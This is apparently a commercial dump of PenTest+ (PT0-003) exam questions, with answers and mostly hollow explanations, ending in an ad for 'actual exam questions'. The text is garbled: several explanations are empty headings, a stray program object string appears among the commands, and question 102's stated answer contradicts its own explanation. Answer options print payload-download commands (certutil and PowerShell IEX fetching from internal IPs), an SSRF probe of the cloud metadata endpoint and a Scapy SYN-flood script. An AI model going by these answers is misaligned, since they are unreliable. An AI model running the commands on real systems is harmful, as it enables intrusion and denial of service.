? Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications.

? Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser.

=====

NEW QUESTION 62

In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?

- A. IAM
- B. Block storage
- C. Virtual private cloud
- D. Metadata services

Answer: D

Explanation:

In a cloud environment, the information used to configure virtual machines during their initialization could have been accessed through metadata services.

? Metadata Services:

? Other Features:

Pentest References:

? Cloud Security: Understanding how metadata services work and the potential risks associated with them is crucial for securing cloud environments.

? Exploitation: Metadata services can be exploited to retrieve sensitive data if not properly secured.

By accessing metadata services, an attacker can retrieve sensitive configuration information used during VM initialization, which can lead to further exploitation.

=====

NEW QUESTION 67

Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?

- A. Creating registry keys
- B. Installing a bind shell
- C. Executing a process injection
- D. Setting up a reverse SSH connection

Answer: A

Explanation:

Maintaining persistent access in a compromised system is a crucial goal for a penetration tester after achieving initial access. Here's an explanation of each option and why creating registry keys is the preferred method:

? Creating registry keys (Answer: A):

? Installing a bind shell (Option B):

? Executing a process injection (Option C):

? Setting up a reverse SSH connection (Option D):

Conclusion: Creating registry keys is the most effective method for maintaining persistent access in a compromised system, particularly in Windows environments, due to its stealthiness and reliability.

NEW QUESTION 71

Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?

- A. Latches
- B. Pins
- C. Shackle
- D. Plug

Answer: B

Explanation:

In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here's a detailed breakdown:

? Components of a Pin Tumbler Lock:

? Operation:
? Why Pins Are the Correct Answer:
? Illustration in Lock Picking:
=====

NEW QUESTION 72

Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

- A. Preserving artifacts
- B. Reverting configuration changes
- C. Keeping chain of custody
- D. Exporting credential data

Answer: A

Explanation:

Preserving artifacts ensures that key outputs from the penetration test, such as logs, screenshots, captured data, and any generated reports, are retained for analysis, reporting, and future reference.

? Importance of Preserving Artifacts:

? Types of Artifacts:

? Best Practices:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 74

A penetration tester is attempting to discover vulnerabilities in a company's web application. Which of the following tools would most likely assist with testing the security of the web application?

- A. OpenVAS
- B. Nessus
- C. sqlmap
- D. Nikto

Answer: D

Explanation:

When testing the security of a web application, specific tools are designed to uncover vulnerabilities and issues. Here??s an overview of the tools mentioned and why Nikto is the most suitable for this task:

? Nikto:

? Comparison with Other Tools:

=====

NEW QUESTION 77

During an external penetration test, a tester receives the following output from a tool:

test.comptia.org info.comptia.org vpn.comptia.org exam.comptia.org

Which of the following commands did the tester most likely run to get these results?

- A. nslookup -type=SOA comptia.org
- B. amass enum -passive -d comptia.org
- C. nmap -Pn -sV -vv -A comptia.org
- D. shodan host comptia.org

Answer: B

Explanation:

The tool and command provided by option B are used to perform passive DNS enumeration, which can uncover subdomains associated with a domain. Here??s why option B is correct:

? amass enum -passive -d comptia.org: This command uses the Amass tool to perform passive DNS enumeration, effectively identifying subdomains of the target domain. The output provided (subdomains) matches what this tool and command would produce.

? nslookup -type=SOA comptia.org: This command retrieves the Start of Authority (SOA) record, which does not list subdomains.

? nmap -Pn -sV -vv -A comptia.org: This Nmap command performs service detection and aggressive scanning but does not enumerate subdomains.

? shodan host comptia.org: Shodan is an internet search engine for connected devices, but it does not perform DNS enumeration to list subdomains.

References from Pentest:

? Writeup HTB: Demonstrates the use of DNS enumeration tools like Amass to uncover subdomains during external assessments.

? Horizontall HTB: Highlights the effectiveness of passive DNS enumeration in identifying subdomains and associated information.

=====

NEW QUESTION 81

Which of the following components should a penetration tester include in an assessment report?

- A. User activities
- B. Customer remediation plan
- C. Key management
- D. Attack narrative

Answer: D

Explanation:

An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.

? Components of an Assessment Report:

? Importance of Attack Narrative:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 82

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

A. curl <url>?param=http://169.254.169.254/latest/meta-data/

B. curl '<url>?param=http://127.0.0.1/etc/passwd'

C. curl '<url>?param=<script>alert(1)<script>/'

D. curl <url>?param=http://127.0.0.1/

Answer: A

Explanation:

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here??s why the specified command is appropriate:

? Accessing Cloud Metadata Service:

? Comparison with Other Commands:

Using curl <url>?param=http://169.254.169.254/latest/meta-data/ is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.

=====

NEW QUESTION 83

During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

A. ChopChop

B. Replay

C. Initialization vector

D. KRACK

Answer: D

Explanation:

KRACK (Key Reinstallation Attack) exploits a vulnerability in the WPA2 protocol to decrypt and inject packets, potentially allowing an attacker to break the encryption key and gain access to the Wi-Fi network.

? Understanding KRACK:

? Attack Steps:

? Impact:

? Mitigation:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 87

A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

A. attacker_host\$ nmap -sT <target_cidr> | nc -n <compromised_host> 22

B. attacker_host\$ mnk nod backpipe p attacker_host\$ nc -l -p 8000 | 0<backpipe | nc<target_cidr> 80 | tee backpipe

C. attacker_host\$ nc -nlp 8000 | nc -n <target_cidr> attacker_host\$ nmap -sT 127.0.0.1 8000

D. attacker_host\$ proxychains nmap -sT <target_cidr>

Answer: D

Explanation:

ProxyChains is a tool that allows you to route your traffic through a chain of proxy servers, which can be used to anonymize your network activity. In this context, it is being used to route Nmap scan traffic through the compromised host, allowing the penetration tester to pivot and enumerate other targets within the network.

? Understanding ProxyChains:

? Command Breakdown:

? Setting Up ProxyChains: Step-by-Step Explanationplaintext Copy code

socks4 127.0.0.1 1080

? Execution:

proxychains nmap -sT <target_cidr>

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 89

While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

- A. Configuration changes were not reverted.
- B. A full backup restoration is required for the server.
- C. The penetration test was not completed on time.
- D. The penetration tester was locked out of the system.

Answer: A

Explanation:

? Debugging Mode:
? Common Causes:
? Best Practices:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 90

Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?

- A. FTP
- B. HTTPS
- C. SMTP
- D. DNS

Answer: D

Explanation:

Covert data exfiltration is a crucial aspect of advanced penetration testing. Penetration testers often need to move data out of a network without being detected by the organization's security monitoring tools. Here's a breakdown of the potential methods and why DNS is the preferred choice for covert data exfiltration:

? FTP (File Transfer Protocol) (Option A):
? HTTPS (Hypertext Transfer Protocol Secure) (Option B):
? SMTP (Simple Mail Transfer Protocol) (Option C):
? DNS (Domain Name System) (Option D):

Conclusion: DNS tunneling stands out as the most effective method for covert data exfiltration due to its ability to blend in with normal network traffic and avoid detection by conventional security mechanisms. Penetration testers utilize this method to evade scrutiny while exfiltrating data.

NEW QUESTION 91

A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?

- A. BeEF
- B. John the Ripper
- C. ZAP
- D. Evilginx

Answer: A

Explanation:

BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It has built-in functionality for generating malicious QR codes, which can be used to direct users to malicious websites, execute browser-based attacks, or gather information.

? Understanding BeEF:
? Creating Malicious QR Codes: Step-by-Step Explanationbeef -x --qr
? Usage in Physical Security Assessments:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 93

A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

- A. Enable monitoring mode using Aircrack-ng.
- B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
- C. Run KARMA to break the password.
- D. Research WiGLE.net for potential nearby client access points.

Answer: A

Explanation:

Enabling monitoring mode on the wireless adapter is the essential step before capturing WPA2 handshakes. Monitoring mode allows the adapter to capture all wireless traffic in its vicinity, which is necessary for capturing handshakes.

? Preparation:
? Enable Monitoring Mode:
Step-by-Step Explanationairmon-ng start wlan0
? uk.co.certification.simulator.questionpool.PList@3327f1d6 iwconfig

? Capture WPA2 Handshakes: airodump-ng wlan0mon
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 96

A penetration tester is getting ready to conduct a vulnerability scan as part of the testing process. The tester will evaluate an environment that consists of a container orchestration cluster. Which of the following tools should the tester use to evaluate the cluster?

- A. Trivy
- B. Nessus
- C. Gripe
- D. Kube-hunter

Answer: D

Explanation:

Evaluating a container orchestration cluster, such as Kubernetes, requires specialized tools designed to assess the security and configuration of container environments. Here??s an analysis of each tool and why Kube-hunter is the best choice:

- ? Trivy (Option A):
- ? Nessus (Option B):
- ? Gripe (Option C):
- ? Kube-hunter (Answer: D):

Conclusion: Kube-hunter is the most appropriate tool for evaluating a container orchestration cluster, such as Kubernetes, due to its specialized focus on identifying security vulnerabilities and misconfigurations specific to such environments.

NEW QUESTION 101

During a security audit, a penetration tester wants to run a process to gather information about a target network's domain structure and associated IP addresses. Which of the following tools should the tester use?

- A. Dnsenum
- B. Nmap
- C. Netcat
- D. Wireshark

Answer: A

Explanation:

Dnsenum is a tool specifically designed to gather information about DNS, including domain structure and associated IP addresses. Here??s why option A is correct:

? Dnsenum: This tool is used for DNS enumeration and can gather information about a domain??s DNS records, subdomains, IP addresses, and other related information. It is highly effective for mapping out a target network??s domain structure.

? Nmap: While a versatile network scanning tool, Nmap is more focused on port scanning and service detection rather than detailed DNS enumeration.

? Netcat: This is a network utility for reading and writing data across network connections, not for DNS enumeration.

? Wireshark: This is a network protocol analyzer used for capturing and analyzing network traffic but not specifically for gathering DNS information.

References from Pentest:

? Anubis HTB: Shows the importance of using DNS enumeration tools like Dnsenum to gather detailed information about the target??s domain structure.

? Forge HTB: Demonstrates the process of using specialized tools to collect DNS and IP information efficiently.

=====

NEW QUESTION 102

A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?

- A. A generative AI assistant
- B. The customer's designated contact
- C. A cybersecurity industry peer
- D. A team member

Answer: B

Explanation:

Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here??s why:

? Internal Peer Review:

? Alternative Review Options:

In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.

=====

NEW QUESTION 105

A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access.

Which of the following techniques should the tester use?

- A. Credential stuffing
- B. MFA fatigue
- C. Dictionary attack
- D. Brute-force attack

Answer: A

Explanation:

To avoid locking out accounts while attempting access, the penetration tester should use credential stuffing.

? Credential Stuffing:

? Other Techniques:

Pentest References:

? Password Attacks: Understanding different types of password attacks and their implications on account security.

? Account Lockout Policies: Awareness of how lockout mechanisms work and strategies to avoid triggering them during penetration tests.

By using credential stuffing, the penetration tester can attempt to gain access using known credentials without triggering account lockout policies, ensuring a stealthier approach to password attacks.

=====

NEW QUESTION 108

Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?

- A. Badge cloning
- B. Shoulder surfing
- C. Tailgating
- D. Site survey

Answer: C

Explanation:

? Understanding Tailgating:

? Methods to Prevent Tailgating:

? Examples in Penetration Testing:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 110

A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

```
ip = IP("192.168.50.2")
```

```
tcp = TCP(sport=RandShort(), dport=80, flags="S") raw = RAW(b"X"*1024)
```

```
p = ip/tcp/raw
```

```
send(p, loop=1, verbose=0)
```

Which of the following attack types is most likely being used in the test?

- A. MDK4
- B. Smurf attack
- C. FragAttack
- D. SYN flood

Answer: D

Explanation:

A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target's system. Each request initializes a connection that the target system must acknowledge, thus consuming resources.

? Understanding the Script:

? Purpose of SYN Flood:

? Detection and Mitigation:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

NEW QUESTION 112

During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

- A. KARMA attack
- B. Beacon flooding
- C. MAC address spoofing
- D. Eavesdropping

Answer: A

Explanation:

To exploit a vulnerability in a wireless network's authentication mechanism and gain unauthorized access, the penetration tester would most likely perform a KARMA attack.

? KARMA Attack:

? Purpose:

? Other Options:

Pentest References:

? Wireless Security Assessments: Understanding common attack techniques such as KARMA is crucial for identifying and exploiting vulnerabilities in wireless networks.

? Rogue Access Points: Setting up rogue APs to capture credentials or perform man-in-the-middle attacks is a common tactic in wireless penetration testing.

By performing a KARMA attack, the penetration tester can exploit the wireless network's authentication mechanism and gain unauthorized access to the network.

=====

NEW QUESTION 113

A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

- A. powershell.exe impo C:\tools\foo.ps1
- B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
- C. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
- D. rundll32.exe c:\path\foo.dll,functionName

Answer: B

Explanation:

To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here??s why:
? Using certutil.exe:
? Comparison with Other Commands:
Using certutil.exe to download and execute a payload is a common and effective method.
=====

NEW QUESTION 114

A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:

Hostname	IP address	CVSS 2.0	EPSS
hrdatabase	192.168.20.55	9.9	0.50
financesite	192.168.15.99	8.0	0.01
legaldatabase	192.168.10.2	8.2	0.60
fileserver	192.168.125.7	7.6	0.90

Which of the following targets should the tester select next?

- A. fileserver
- B. hrdatabase
- C. legaldatabase
- D. financesite

Answer: A

Explanation:

? Evaluation Criteria:
? Analysis:
? Selection Justification:
Pentest References:
? Risk Prioritization: Balancing between severity (CVSS) and exploitability (EPSS) is crucial for effective vulnerability management.
? Risk Assessment: Evaluating both the impact and the likelihood of exploitation helps in making informed decisions about testing priorities.
By selecting the fileserver, the penetration tester focuses on a target that is highly likely to be exploited, addressing the most immediate risk based on the given scores.
Top of Form
Bottom of Form

NEW QUESTION 117

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-003 Practice Exam Features:

- * PT0-003 Questions and Answers Updated Frequently
- * PT0-003 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-003 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * PT0-003 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-003 Practice Test Here](#)